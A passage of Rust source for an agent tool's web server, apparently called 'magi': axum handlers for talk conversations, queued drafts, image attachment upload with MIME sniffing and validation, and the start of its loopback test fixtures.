3399}
3400
3401#[derive(Debug, Serialize)]
3406struct TalkDetailView {
3407 #[serde(flatten)]
3408 view: TalkView,
3409 tasks: Vec<TaskView>,
3410}
3411
3412async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3417 blocking(move || {
3418 Ok(Json(
3419 ui.talks
3420 .list()
3421 .into_iter()
3422 .map(|talk| {
3423 let thinking = ui.is_thinking(&talk.id);
3424 TalkView::new(talk, thinking)
3425 })
3426 .collect(),
3427 ))
3428 })
3429 .await
3430}
3431
3432#[derive(Debug, Default, Deserialize)]
3437#[serde(default)]
3438struct NewTalk {
3439 agent: Option<String>,
3440 repo: Option<PathBuf>,
3441}
3442
3443async fn talk_post(
3446 State(ui): State<Arc<Ui>>,
3447 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3448) -> ApiResult<impl IntoResponse> {
3449 let body = match body {
3453 Ok(Json(body)) => body,
3454 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3455 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3456 };
3457 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3458 let cfg = config_for(&repo).await?;
3459 let view = blocking(move || {
3460 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3461 let thinking = ui.is_thinking(&talk.id);
3462 Ok(TalkView::new(talk, thinking))
3463 })
3464 .await?;
3465 Ok((StatusCode::CREATED, Json(view)))
3466}
3467
3468async fn talk_detail(
3470 State(ui): State<Arc<Ui>>,
3471 Path(id): Path<String>,
3472) -> ApiResult<Json<TalkDetailView>> {
3473 blocking(move || {
3474 let id = resolve_talk(&ui.talks, &id)?;
3475 let talk = ui.talks.get(&id)?;
3476 let thinking = ui.is_thinking(&talk.id);
3477 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3478 .into_iter()
3479 .map(TaskView::from)
3480 .collect();
3481 Ok(Json(TalkDetailView {
3482 view: TalkView::new(talk, thinking),
3483 tasks,
3484 }))
3485 })
3486 .await
3487}
3488
3489#[derive(Debug, Default, Deserialize)]
3495#[serde(default, deny_unknown_fields)]
3496struct NewTalkTurn {
3497 text: String,
3498 attachments: Vec<String>,
3499}
3500
3501#[derive(Debug, Deserialize)]
3502#[serde(deny_unknown_fields)]
3503struct EditTalkPending {
3504 text: String,
3505 expected_text: String,
3506 expected_attachments: Vec<String>,
3507}
3508
3509#[derive(Debug, Deserialize)]
3510#[serde(deny_unknown_fields)]
3511struct ClearTalkPending {
3512 expected_text: String,
3513 expected_attachments: Vec<String>,
3514}
3515
3516async fn talk_say(
3528 State(ui): State<Arc<Ui>>,
3529 Path(id): Path<String>,
3530 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3531) -> ApiResult<(StatusCode, Json<TalkView>)> {
3532 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3533 if body.text.trim().is_empty() && body.attachments.is_empty() {
3534 return Err(ApiError::bad_request("say something"));
3535 }
3536
3537 let id = {
3538 let ui = Arc::clone(&ui);
3539 let asked = id.clone();
3540 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3541 };
3542 {
3546 let ui = Arc::clone(&ui);
3547 let id = id.clone();
3548 blocking(move || {
3549 let talk = ui.talks.get(&id)?;
3550 if !talk.status.open() {
3551 return Err(ApiError::conflict(format!(
3552 "talk {} is {} and takes no more turns",
3553 talk.short(),
3554 talk.status.as_str()
3555 )));
3556 }
3557 Ok(())
3558 })
3559 .await?;
3560 }
3561
3562 let attachments = {
3567 let ui = Arc::clone(&ui);
3568 let id = id.clone();
3569 let ids = body.attachments.clone();
3570 blocking(move || {
3571 ids.into_iter()
3572 .map(|att_id| {
3573 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3574 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3575 })
3576 })
3577 .collect::<ApiResult<Vec<talk::Attachment>>>()
3578 })
3579 .await?
3580 };
3581
3582 let start = {
3587 let ui = Arc::clone(&ui);
3588 let id = id.clone();
3589 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3590 };
3591 let turn_guard = match start {
3592 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3593 TalkTurnStart::Pending => {
3594 return Err(ApiError::conflict(
3595 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3596 ));
3597 }
3598 TalkTurnStart::Busy => {
3599 let (tx, rx) = tokio::sync::oneshot::channel();
3615 tokio::spawn({
3616 let ui = Arc::clone(&ui);
3617 let id = id.clone();
3618 let said = body.text.clone();
3619 async move {
3620 let written = blocking({
3621 let ui = Arc::clone(&ui);
3622 let id = id.clone();
3623 move || {
3624 let mut talk = ui.talks.get(&id)?;
3625 #[cfg(test)]
3630 if let Some(gate) = ui
3631 .busy_queue_gate
3632 .lock()
3633 .unwrap_or_else(PoisonError::into_inner)
3634 .take()
3635 {
3636 let _ = gate.reached.send(());
3637 let _ = gate.release.recv();
3638 }
3639 if let Err(error) =
3640 talk::queue(&mut talk, &ui.talks, &said, attachments)
3641 {
3642 if let Ok(fresh) = ui.talks.get(&id) {
3643 if !fresh.status.open() {
3644 return Err(ApiError::conflict(format!(
3645 "talk {} is {} and takes no more turns",
3646 fresh.short(),
3647 fresh.status.as_str()
3648 )));
3649 }
3650 }
3651 return Err(ApiError::from(error));
3652 }
3653 let claim = match ui.begin_queued_talk_turn(&id)? {
3664 Some(turn_guard) => {
3665 let (cfg, _) = Config::discover(&talk.repo, None)?;
3666 Some((talk.clone(), cfg, turn_guard))
3667 }
3668 None => None,
3669 };
3670 let thinking = ui.is_thinking(&id);
3671 Ok((TalkView::new(talk, thinking), claim))
3672 }
3673 })
3674 .await;
3675 let (view, reclaimed) = match written {
3676 Ok(pair) => pair,
3677 Err(e) => {
3678 let _ = tx.send(Err(e));
3683 return;
3684 }
3685 };
3686 let _ = tx.send(Ok(view));
3689 if let Some((talk, cfg, turn_guard)) = reclaimed {
3690 let talks = ui.talks.clone();
3691 drain_loop(talk, talks, cfg, id, turn_guard).await;
3692 }
3693 }
3694 });
3695 let view = rx
3696 .await
3697 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3698 return Ok((StatusCode::ACCEPTED, Json(view)));
3699 }
3700 };
3701
3702 let (talk, cfg) = {
3703 let ui = Arc::clone(&ui);
3704 let id = id.clone();
3705 blocking(move || {
3706 let talk = ui.talks.get(&id)?;
3707 let (cfg, _) = Config::discover(&talk.repo, None)?;
3708 Ok((talk, cfg))
3709 })
3710 .await?
3711 };
3712
3713 let talks = ui.talks.clone();
3714 let (tx, rx) = tokio::sync::oneshot::channel();
3729 tokio::spawn({
3730 let ui = Arc::clone(&ui);
3731 let talks = talks.clone();
3732 let id = id.clone();
3733 let said = body.text.clone();
3734 let mut talk = talk.clone();
3735 async move {
3736 let recorded = blocking({
3737 let talks = talks.clone();
3738 move || {
3739 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3740 if let Ok(fresh) = talks.get(&talk.id) {
3741 if !fresh.status.open() {
3742 return Err(ApiError::conflict(format!(
3743 "talk {} is {} and takes no more turns",
3744 fresh.short(),
3745 fresh.status.as_str()
3746 )));
3747 }
3748 }
3749 return Err(ApiError::from(error));
3750 }
3751 Ok((said.trim().to_owned(), talk))
3757 }
3758 })
3759 .await;
3760 let (text, mut talk) = match recorded {
3761 Ok(pair) => pair,
3762 Err(e) => {
3763 let _ = tx.send(Err(e));
3767 return;
3768 }
3769 };
3770 let queued = talk.clone();
3771 let thinking = ui.is_thinking(&id);
3772 let _ = tx.send(Ok((queued, thinking)));
3775
3776 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3777 tracing::warn!("talk {id} turn failed: {e:#}");
3781 }
3782 drain_loop(talk, talks, cfg, id, turn_guard).await;
3785 }
3786 });
3787
3788 let (queued, thinking) = rx
3789 .await
3790 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3791
3792 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3794}
3795
3796async fn talk_pending_resume(
3800 State(ui): State<Arc<Ui>>,
3801 Path(id): Path<String>,
3802) -> ApiResult<(StatusCode, Json<TalkView>)> {
3803 let id = {
3804 let ui = Arc::clone(&ui);
3805 let asked = id.clone();
3806 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3807 };
3808 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3809 return Err(ApiError::conflict(
3810 "a talk turn is already running; the queued draft will be handled by it",
3811 ));
3812 };
3813 let (talk, cfg) = {
3814 let ui = Arc::clone(&ui);
3815 let id = id.clone();
3816 blocking(move || {
3817 let talk = ui.talks.get(&id)?;
3818 if !talk.status.open() {
3819 return Err(ApiError::conflict(format!(
3820 "talk {} is {} and takes no more turns",
3821 talk.short(),
3822 talk.status.as_str()
3823 )));
3824 }
3825 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3826 return Err(ApiError::conflict("there is no queued draft to resume"));
3827 }
3828 let (cfg, _) = Config::discover(&talk.repo, None)?;
3829 Ok((talk, cfg))
3830 })
3831 .await?
3832 };
3833 let view = TalkView::new(talk.clone(), true);
3834 let talks = ui.talks.clone();
3835 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3836 Ok((StatusCode::ACCEPTED, Json(view)))
3837}
3838
3839async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3855 let live_set = Arc::clone(&turn.turns);
3856 let mut turn = Some(turn);
3864 loop {
3865 let observed = live_set
3869 .lock()
3870 .unwrap_or_else(PoisonError::into_inner)
3871 .queued
3872 .get(&id)
3873 .copied()
3874 .unwrap_or(0);
3875 let drained = blocking({
3876 let talks = talks.clone();
3877 move || {
3878 let result = talk::drain(&mut talk, &talks);
3879 Ok((talk, result))
3880 }
3881 })
3882 .await;
3883 let (next_talk, result) = match drained {
3884 Ok(drained) => drained,
3885 Err(e) => {
3886 tracing::warn!(
3887 status = %e.status,
3888 message = %e.message,
3889 "talk {id} could not start queued-text drain"
3890 );
3891 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3892 turn.take()
3893 .expect("held for the whole loop until released here")
3894 .release(&mut live);
3895 break;
3896 }
3897 };
3898 talk = next_talk;
3899 let drained = match result {
3900 Ok(Some(drained)) => drained,
3901 Ok(None) => {
3902 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3903 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3904 continue;
3905 }
3906 turn.take()
3907 .expect("held for the whole loop until released here")
3908 .release(&mut live);
3909 break;
3910 }
3911 Err(e) => {
3912 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3913 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3914 turn.take()
3915 .expect("held for the whole loop until released here")
3916 .release(&mut live);
3917 break;
3918 }
3919 };
3920 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3921 tracing::warn!("talk {id} turn failed: {e:#}");
3922 }
3923 }
3924}
3925
3926async fn talk_pending_clear(
3928 State(ui): State<Arc<Ui>>,
3929 Path(id): Path<String>,
3930 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3931) -> ApiResult<Json<TalkView>> {
3932 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3933 blocking(move || {
3934 let id = resolve_talk(&ui.talks, &id)?;
3935 let mut talk = ui.talks.get(&id)?;
3936 if !talk.status.open() {
3937 return Err(ApiError::conflict(format!(
3938 "talk {} is {} and takes no more turns",
3939 talk.short(),
3940 talk.status.as_str()
3941 )));
3942 }
3943 if !talk::clear_pending_if_matches(
3944 &mut talk,
3945 &ui.talks,
3946 &body.expected_text,
3947 &body.expected_attachments,
3948 )? {
3949 return Err(ApiError::conflict(
3950 "queued message changed; reload it before clearing",
3951 ));
3952 }
3953 let thinking = ui.is_thinking(&talk.id);
3954 Ok(Json(TalkView::new(talk, thinking)))
3955 })
3956 .await
3957}
3958
3959async fn talk_pending_edit(
3963 State(ui): State<Arc<Ui>>,
3964 Path(id): Path<String>,
3965 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3966) -> ApiResult<Json<TalkView>> {
3967 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3968 let (view, reclaimed) = blocking({
3969 let ui = Arc::clone(&ui);
3970 move || {
3971 let id = resolve_talk(&ui.talks, &id)?;
3972 let mut talk = ui.talks.get(&id)?;
3973 if !talk.status.open() {
3974 return Err(ApiError::conflict(format!(
3975 "talk {} is {} and takes no more turns",
3976 talk.short(),
3977 talk.status.as_str()
3978 )));
3979 }
3980 if !talk::edit_pending_text(
3981 &mut talk,
3982 &ui.talks,
3983 &body.text,
3984 &body.expected_text,
3985 &body.expected_attachments,
3986 )? {
3987 return Err(ApiError::conflict(
3988 "queued message changed; reload it before editing",
3989 ));
3990 }
3991 let claim = match ui.begin_queued_talk_turn(&id)? {
3992 Some(turn_guard) => {
3993 let (cfg, _) = Config::discover(&talk.repo, None)?;
3994 Some((talk.clone(), cfg, id.clone(), turn_guard))
3995 }
3996 None => None,
3997 };
3998 let thinking = ui.is_thinking(&id);
3999 Ok((TalkView::new(talk, thinking), claim))
4000 }
4001 })
4002 .await?;
4003 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4004 let talks = ui.talks.clone();
4005 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4006 }
4007 Ok(Json(view))
4008}
4009
4010async fn talk_close(
4012 State(ui): State<Arc<Ui>>,
4013 Path(id): Path<String>,
4014) -> ApiResult<Json<TalkView>> {
4015 blocking(move || {
4016 let id = resolve_talk(&ui.talks, &id)?;
4017 let mut talk = ui.talks.get(&id)?;
4018 talk::close(&mut talk, &ui.talks)?;
4019 let thinking = ui.is_thinking(&talk.id);
4020 Ok(Json(TalkView::new(talk, thinking)))
4021 })
4022 .await
4023}
4024
4025async fn talk_reopen(
4027 State(ui): State<Arc<Ui>>,
4028 Path(id): Path<String>,
4029) -> ApiResult<Json<TalkView>> {
4030 blocking(move || {
4031 let id = resolve_talk(&ui.talks, &id)?;
4032 let mut talk = ui.talks.get(&id)?;
4033 talk::reopen(&mut talk, &ui.talks)?;
4034 let thinking = ui.is_thinking(&talk.id);
4035 Ok(Json(TalkView::new(talk, thinking)))
4036 })
4037 .await
4038}
4039
4040async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4050 blocking(move || {
4051 let id = resolve_talk(&ui.talks, &id)?;
4052 ui.talks.remove(&id)?;
4053 Ok(StatusCode::NO_CONTENT)
4054 })
4055 .await
4056}
4057
4058fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4060 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4061}
4062
4063async fn talk_attachment_post(
4066 State(ui): State<Arc<Ui>>,
4067 Path(id): Path<String>,
4068 headers: HeaderMap,
4069 body: Bytes,
4070) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4071 let mime = validate_attachment(&headers, &body)?;
4072 let name = filename_header(&headers);
4073 let data = body.to_vec();
4074 blocking(move || {
4075 let id = resolve_talk(&ui.talks, &id)?;
4076 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4077 Ok((StatusCode::CREATED, Json(att)))
4078 })
4079 .await
4080}
4081
4082async fn talk_attachment_get(
4085 State(ui): State<Arc<Ui>>,
4086 Path((id, att)): Path<(String, String)>,
4087) -> ApiResult<Response> {
4088 blocking(move || {
4089 let id = resolve_talk(&ui.talks, &id)?;
4090 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4091 return Err(ApiError::not_found(format!(
4092 "talk {id} has no attachment `{att}`"
4093 )));
4094 };
4095 Ok(attachment_response(&meta.mime, data))
4096 })
4097 .await
4098}
4099
4100fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4111 if data.len() > ATTACHMENT_MAX_BYTES {
4112 return Err(ApiError::bad_request(format!(
4113 "attachment is {} bytes, over the {} MiB limit",
4114 data.len(),
4115 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4116 ))
4117 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4118 }
4119 if data.is_empty() {
4120 return Err(ApiError::bad_request("attachment is empty"));
4121 }
4122 let declared = declared_mime(headers)?;
4123 match sniffed_mime(data) {
4124 Some(sniffed) if sniffed == declared => Ok(declared),
4125 Some(sniffed) => Err(ApiError::bad_request(format!(
4126 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4127 ))),
4128 None => Err(ApiError::bad_request(
4129 "the file's bytes do not match any accepted image format",
4130 )),
4131 }
4132}
4133
4134fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4138 let raw = headers
4139 .get(header::CONTENT_TYPE)
4140 .and_then(|v| v.to_str().ok())
4141 .unwrap_or("")
4142 .split(';')
4143 .next()
4144 .unwrap_or("")
4145 .trim()
4146 .to_ascii_lowercase();
4147 ATTACHMENT_MIME_WHITELIST
4148 .iter()
4149 .find(|&&m| m == raw)
4150 .copied()
4151 .ok_or_else(|| {
4152 if raw == "image/svg+xml" {
4153 ApiError::bad_request(
4154 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4155 not just a picture",
4156 )
4157 } else if raw.is_empty() {
4158 ApiError::bad_request("Content-Type is required for an attachment upload")
4159 } else {
4160 ApiError::bad_request(format!(
4161 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4162 image/gif or image/webp"
4163 ))
4164 }
4165 })
4166}
4167
4168fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4171 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4172 Some("image/png")
4173 } else if data.starts_with(b"\xff\xd8\xff") {
4174 Some("image/jpeg")
4175 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4176 Some("image/gif")
4177 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4178 Some("image/webp")
4179 } else {
4180 None
4181 }
4182}
4183
4184fn filename_header(headers: &HeaderMap) -> String {
4190 headers
4191 .get(FILENAME_HEADER)
4192 .and_then(|v| v.to_str().ok())
4193 .map(str::trim)
4194 .filter(|s| !s.is_empty())
4195 .unwrap_or("attachment")
4196 .to_owned()
4197}
4198
4199fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4206 let content_type = ATTACHMENT_MIME_WHITELIST
4207 .iter()
4208 .find(|&&m| m == mime)
4209 .copied()
4210 .unwrap_or("application/octet-stream");
4211 (
4212 [
4213 (header::CONTENT_TYPE, content_type),
4214 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4215 ],
4216 body,
4217 )
4218 .into_response()
4219}
4220
4221async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4229 let repo = repo.to_path_buf();
4230 blocking(move || {
4231 let (cfg, _) = Config::discover(&repo, None)?;
4232 Ok(cfg)
4233 })
4234 .await
4235}
4236
4237fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4243 let mut hits = ids
4244 .into_iter()
4245 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4246 match (hits.next(), hits.next()) {
4247 (Some(one), None) => Ok(one),
4248 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4249 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4250 "`{prefix}` matches more than one {what}, including {a} and {b}"
4251 ))),
4252 }
4253}
4254
4255#[cfg(test)]
4256mod tests {
4257 use pretty_assertions::assert_eq;
4258 use serde_json::Value;
4259 use tempfile::TempDir;
4260 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4261
4262 use super::*;
4263 use crate::config::Config;
4264 use crate::queue::{Source, TaskStatus};
4265
4266 const SETTLE_STEPS: usize = 3_000;
4277
4278 struct Fixture {
4284 home: TempDir,
4285 addr: SocketAddr,
4286 }
4287
4288 impl Fixture {
4289 async fn start() -> Self {
4290 Self::with_loop(launch_idle).await
4291 }
4292
4293 async fn with_loop(launch: Launch) -> Self {
4295 let home = TempDir::new().expect("temp home");
4296 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4297 Self { home, addr }
4298 }
4299
4300 async fn with_repo(repo: PathBuf) -> Self {
4304 let home = TempDir::new().expect("temp home");
4305 let addr = Self::serve(home.path(), repo, launch_idle).await;
4306 Self { home, addr }
4307 }
4308
4309 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4310 let queue = Queue::at(home.join("queue"));
4311 let runs = home.join("runs");
4312 std::fs::create_dir_all(&runs).expect("runs dir");
4313 let worktrees = home.join("wt").join("magi");
4314 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4315 let ui = Ui::new(
4316 queue,
4317 Questions::at(home.join("questions")),
4318 Talks::at(home.join("talks")),
4319 runs,
4320 home.to_path_buf(),
4321 repo,
4322 )
4323 .with_worktrees_root(worktrees)
4324 .with_launch(launch);
4325 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4326 .await
4327 .expect("bind loopback");
4328 let addr = listener.local_addr().expect("local addr");
4329 tokio::spawn(async move {
4330 let _ = axum::serve(listener, ui.router()).await;
4331 });
4332 addr
4333 }
4334
4335 fn queue(&self) -> Queue {
4336 Queue::at(self.home.path().join("queue"))
4337 }
4338
4339 fn questions(&self) -> Questions {
4340 Questions::at(self.home.path().join("questions"))
4341 }
4342
4343 fn talks(&self) -> Talks {
4344 Talks::at(self.home.path().join("talks"))
4345 }
4346
4347 fn runs(&self) -> PathBuf {
4348 self.home.path().join("runs")
4349 }
4350
4351 async fn get(&self, path: &str) -> Res {
4352 request(self.addr, "GET", path, None).await
4353 }
4354
4355 async fn head(&self, path: &str) -> Res {
4360 request(self.addr, "HEAD", path, None).await
4361 }
4362
4363 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4364 request(self.addr, "POST", path, body).await
4365 }
4366
4367 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4368 request_with(self.addr, "GET", path, None, extra).await
4369 }
4370
4371 async fn delete(&self, path: &str) -> Res {
4372 request(self.addr, "DELETE", path, None).await
4373 }
4374
4375 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4377 request_bytes(self.addr, path, headers, body).await
4378 }
4379 }
4380
4381 struct Res {
4382 status: u16,
4383 headers: String,
4384 head: String,
4389 body: String,
4390 bytes: Vec<u8>,
4394 }
4395
4396 impl Res {
4397 fn json(&self) -> Value {
4398 serde_json::from_str(&self.body)
4399 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4400 }
4401
4402 fn header(&self, name: &str) -> Option<&str> {
4404 self.head.lines().find_map(|line| {
4405 let (key, value) = line.split_once(':')?;
4406 key.trim()
4407 .eq_ignore_ascii_case(name)
4408 .then(|| value.trim_start().trim_end_matches('\r'))
4409 })
4410 }
4411 }
4412
4413 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4416 request_with(addr, method, path, body, &[]).await
4417 }
4418
4419 async fn request_with(
4423 addr: SocketAddr,
4424 method: &str,
4425 path: &str,
4426 body: Option<&str>,
4427 extra: &[(&str, &str)],
4428 ) -> Res {
4429 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4430 for (name, value) in extra {
4431 head.push_str(&format!("{name}: {value}\r\n"));
4432 }
4433 if let Some(body) = body {
4434 head.push_str("Content-Type: application/json\r\n");
4435 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4436 }
4437 head.push_str("\r\n");
4438 if let Some(body) = body {
4439 head.push_str(body);
4440 }
4441 let mut socket = tokio::net::TcpStream::connect(addr)
4442 .await
4443 .expect("connect to the test server");
4444 socket
4445 .write_all(head.as_bytes())
4446 .await
4447 .expect("write request");
4448 let mut raw = Vec::new();
4449 socket.read_to_end(&mut raw).await.expect("read response");
4450 let split = raw
4453 .windows(4)
4454 .position(|w| w == b"\r\n\r\n")
4455 .expect("a header block");
4456 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4457 let bytes = raw[split + 4..].to_vec();
4458 let status = head
4459 .lines()
4460 .next()
4461 .and_then(|line| line.split_whitespace().nth(1))
4462 .and_then(|code| code.parse().ok())
4463 .expect("a status line");
4464 Res {
4465 status,
4466 headers: head.to_lowercase(),
4467 head,
4468 body: String::from_utf8_lossy(&bytes).into_owned(),
4469 bytes,
4470 }
4471 }
4472
4473 async fn request_bytes(
4479 addr: SocketAddr,
4480 path: &str,
4481 headers: &[(&str, &str)],
4482 body: &[u8],
4483 ) -> Res {
4484 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4485 for (name, value) in headers {
4486 head.push_str(&format!("{name}: {value}\r\n"));
4487 }
4488 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4489 let mut socket = tokio::net::TcpStream::connect(addr)
4490 .await
4491 .expect("connect to the test server");
4492 socket
4493 .write_all(head.as_bytes())
4494 .await
4495 .expect("write request head");
4496 socket.write_all(body).await.expect("write request body");
4497 let mut raw = Vec::new();
4498 socket.read_to_end(&mut raw).await.expect("read response");
4499 let split = raw
4500 .windows(4)
4501 .position(|w| w == b"\r\n\r\n")
4502 .expect("a header block");
4503 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4504 let bytes = raw[split + 4..].to_vec();
4505 let status = head
4506 .lines()
4507 .next()
4508 .and_then(|line| line.split_whitespace().nth(1))
4509 .and_then(|code| code.parse().ok())
4510 .expect("a status line");
4511 Res {
4512 status,
4513 headers: head.to_lowercase(),
4514 head,
4515 body: String::from_utf8_lossy(&bytes).into_owned(),
4516 bytes,
4517 }
4518 }
4519
4520 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4522 let mut state = RunState::new(
4523 PathBuf::from("/repo/magi"),
4524 "main".to_owned(),
4525 "0123456789abcdef".to_owned(),
4526 "Add a web UI\n\nMobile first.".to_owned(),
4527 Config::default(),
4528 );
4529 state.id = id.to_owned();
4530 state.status = status;
4531 let dir = runs.join(id);
4532 std::fs::create_dir_all(&dir).expect("run dir");
4533 std::fs::write(
4534 dir.join("run.json"),
4535 serde_json::to_string_pretty(&state).expect("serialize run"),
4536 )
4537 .expect("write run.json");
4538 }
4539
4540 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4541 let body = serde_json::json!({
4542 "schema": 1,
4543 "pid": 4242,
4544 "started_at": Timestamp::now().to_string(),
4545 "updated_at": updated_at.to_string(),
4546 "idle": false,
4547 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4548 "completed": 7,
4549 "polls": 143,
4550 });
4551 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4552 }
4553
4554 fn launch_idle(
4564 _opts: daemon::Opts,
4565 stop: daemon::Stop,
4566 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4567 Box::pin(async move {
4568 while !stop.stopped() {
4569 tokio::time::sleep(Duration::from_millis(2)).await;
4570 }
4571 Ok(())
4572 })
4573 }
4574
4575 fn launch_broken(
4578 _opts: daemon::Opts,
4579 _stop: daemon::Stop,
4580 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4581 Box::pin(async {
4582 Err(anyhow::anyhow!(
4583 "publish the daemon status file: read-only file system"
4584 ))
4585 })
4586 }
4587
4588 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4595 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4596
4597 fn launch_knocking_on_the_way_out(
4604 _opts: daemon::Opts,
4605 stop: daemon::Stop,
4606 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4607 Box::pin(async move {
4608 while !stop.stopped() {
4609 tokio::time::sleep(Duration::from_millis(2)).await;
4610 }
4611 let addr = PARK_KNOCK
4612 .lock()
4613 .expect("park knock")
4614 .expect("the test set an address");
4615 let heard = request(addr, "GET", "/api/health", None).await.status;
4616 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4617 Ok(())
4618 })
4619 }
4620
4621 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4630 for _ in 0..SETTLE_STEPS {
4631 let view = fx.get("/api/loop").await.json();
4632 if want(&view) {
4633 return view;
4634 }
4635 tokio::time::sleep(Duration::from_millis(10)).await;
4636 }
4637 panic!(
4638 "the loop never settled: {}",
4639 fx.get("/api/loop").await.json()
4640 );
4641 }
4642
4643 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4645 let store = fx.questions();
4646 let mut q = Question::new(
4647 "20260902-000000-beef".to_owned(),
4648 "implement".to_owned(),
4649 "impl-A".to_owned(),
4650 summary.to_owned(),
4651 "because it matters".to_owned(),
4652 choices.iter().map(|c| (*c).to_owned()).collect(),
4653 );
4654 store.put(&mut q).expect("put question");
4655 q.id
4656 }
4657
4658 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4664 let store = fx.questions();
4665 let mut q = Question::new(
4666 "20260902-000000-beef".to_owned(),
4667 "land".to_owned(),
4668 "fix".to_owned(),
4669 "Merge this?".to_owned(),
4670 "the diff is in the panel".to_owned(),
4671 vec!["merge".to_owned(), "hold".to_owned()],
4672 );
4673 let staging = fx.home.path().join("staging");
4676 std::fs::create_dir_all(&staging).expect("staging dir");
4677 let sources: Vec<PathBuf> = assets
4678 .iter()
4679 .map(|(name, bytes)| {
4680 let path = staging.join(name);
4681 std::fs::write(&path, bytes).expect("write staged asset");
4682 path
4683 })
4684 .collect();
4685 store
